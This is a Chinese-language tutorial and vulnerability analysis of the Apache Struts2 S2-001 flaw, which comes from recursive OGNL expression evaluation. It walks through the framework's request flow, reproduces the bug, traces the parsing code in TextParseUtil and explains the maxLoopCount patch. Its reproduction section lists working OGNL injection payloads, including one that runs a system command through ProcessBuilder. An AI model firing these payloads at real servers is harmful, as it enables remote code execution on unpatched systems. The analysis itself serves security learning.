0%

Java Web安全入门——S2-001漏洞分析

Java-Web入门第一篇,S2-001漏洞复现&原理分析

1. 漏洞简介

官方公告:https://cwiki.apache.org/confluence/display/WW/S2-001

漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8

2. Struts2 架构&请求处理流程

Struts2-Architecture

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。

图中的一些组件的作用如下:

  • FilterDispatcher:是整个Struts2的调度中心,也就是整个MVC架构中的C,它根据ActionMapper的结果来决定是否处理请求。
  • ActionMapper:用来判断传入的请求是否被Struts2处理,如果需要处理的话,ActionMapper就会返回一个对象来描述请求对应的ActionInvocation的信息。
  • ActionProxy:用来创建一个ActionInvocation代理实例,它位于Action和xwork之间。
  • ConfigurationManager:是xwork配置的管理中心,可以把它当做已经读取到内存中的struts.xml配置文件。
  • struts.xml:是Stuts2的应用配置文件,负责诸如URL与Action之间映射的配置、以及执行后页面跳转的Result配置等。
  • ActionInvocation:用来真正的调用并执行Action、拦截器和对应的Result,作用类似于一个调度器。
  • Interceptor:拦截器,可以自动拦截Action,主要在Action运行之前或者Result运行之后来进行执行,开发者可以自定义。
  • Action:是Struts2中的动作执行单元。用来处理用户请求,并封装业务所需要的数据。
  • Result:是不同视图类型的抽象封装模型,不同的视图类型会对应不同的Result实现,Struts2中支持多种视图类型,比如Jsp,FreeMarker等。
  • Templates:各种视图类型的页面模板,比如JSP就是一种模板页面技术。
  • Tag Subsystem:Struts2的标签库,它抽象了三种不同的视图技术JSP、velocity、freemarker,可以在不同的视图技术中,几乎没有差别的使用这些标签。

接下来我们可以结合上图,来了解下Struts2框架是如何处理一个HTTP请求的。

当HTTP请求发送个Web服务器之后,Web服务器根据用户的请求以及web.xml中的配置文件,将请求转发给Struts2框架进行处理。

  1. HTTP请求经过一系列的过滤器,最后到达FilterDispatcher过滤器。
  2. FilterDispatcher将请求转发给ActionMapper,判断该请求是否需要处理。
  3. 如果该请求需要处理,FilterDispatcher会创建一个ActionProxy来进行后续的处理。
  4. ActionProxy拿着HTTP请求,询问struts.xml该调用哪一个Action进行处理。
  5. 当知道目标Action之后,实例化一个ActionInvocation来进行调用。
  6. 然后运行在Action之前的拦截器,图中就是拦截器1、2、3。
  7. 运行Action,生成一个Result
  8. Result根据页面模板和标签库,生成要响应的内容。
  9. 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

3. 漏洞复现

常用Payload

获取tomcat路径

1
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image-20191029192106225

获取Web路径

1
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image-20191029193405016

执行命令

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20191029193509211

4. 漏洞分析

我们就以%{1+1}作为Payload,来分析一下漏洞产生的原因。

首先给我们自定义的Action上下一个断点,然后发送一个请求。

从调用栈中,我们可以知道,在DefaultActionInvocation类中反射调用了我们自定义的类LoginAction

路径:xwork-2.0.3-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java

image-20191029201816282

此时到达自定义类LoginActionusername的值为%{1+1}

image-20191029202015653

从官方公布的漏洞详情中,我们可以知道,漏洞是出现在Struts2重新渲染jsp时,对ognl表达式进行了递归解析,导致了恶意的表达式被执行。

让我们继续往下跟,直到进入了TextParseUtil中。

路径:xwork-2.0.3-sources.jar!/com/opensymphony/xwork2/util/TextParseUtil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;

while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;

if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);

Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}


String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}

return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

在这里下了断点之后,程序进入了该方法好几次,而且每次的expression的值也不一样。

在手册中,我们也可以查到该方法的作用是将变量转换为对象。

image-20191029204849689

https://struts.apache.org/maven/struts2-core/apidocs/index.html

expressionusername时,从调用栈中我们可以看到整个调用过程。

image-20191029205431561

读取index.jsp的标签

image-20191029205615826

通过UIBean将标签解析出来

image-20191029205825958

然后将其传入到了translateVariables方法中。

经过两次调用之后,

1
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);

传入的expression的值变为了%{username}

image-20191029210131255

在后面的findValue方法中获得了我们传入的Payload%{1+1},然后将其存入到了o中。

继续往下走,%{1+1}还是满足ognl表达式的规则,于是又进行了一次调用。

image-20191029210311489

此时的expression的值为%{1+1},在后面使用findValue对表达式进行了解析,返回的值2

image-20191029210808496

在这之后,2这个值是不满足表达式的规则,于是直接将值进行了返回。

image-20191029210948730

由于没有进行验证,导致我们的输入%{1+1}被程序错误的当做了表达式进行了解析,返回了值2,最终显示在响应的表单中。

5. 补丁分析

通过对比xwork2.0.3和2.0.4版本的源码,我们很容易可以发现区别。

image-20191029213426397

添加了一个maxLoopCount属性,限制了递归解析的最大数目。

1
2
3
4
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}

从而在解析到%{1+1}时,不会继续向下递归了,这样就修复了该漏洞。

6. Reference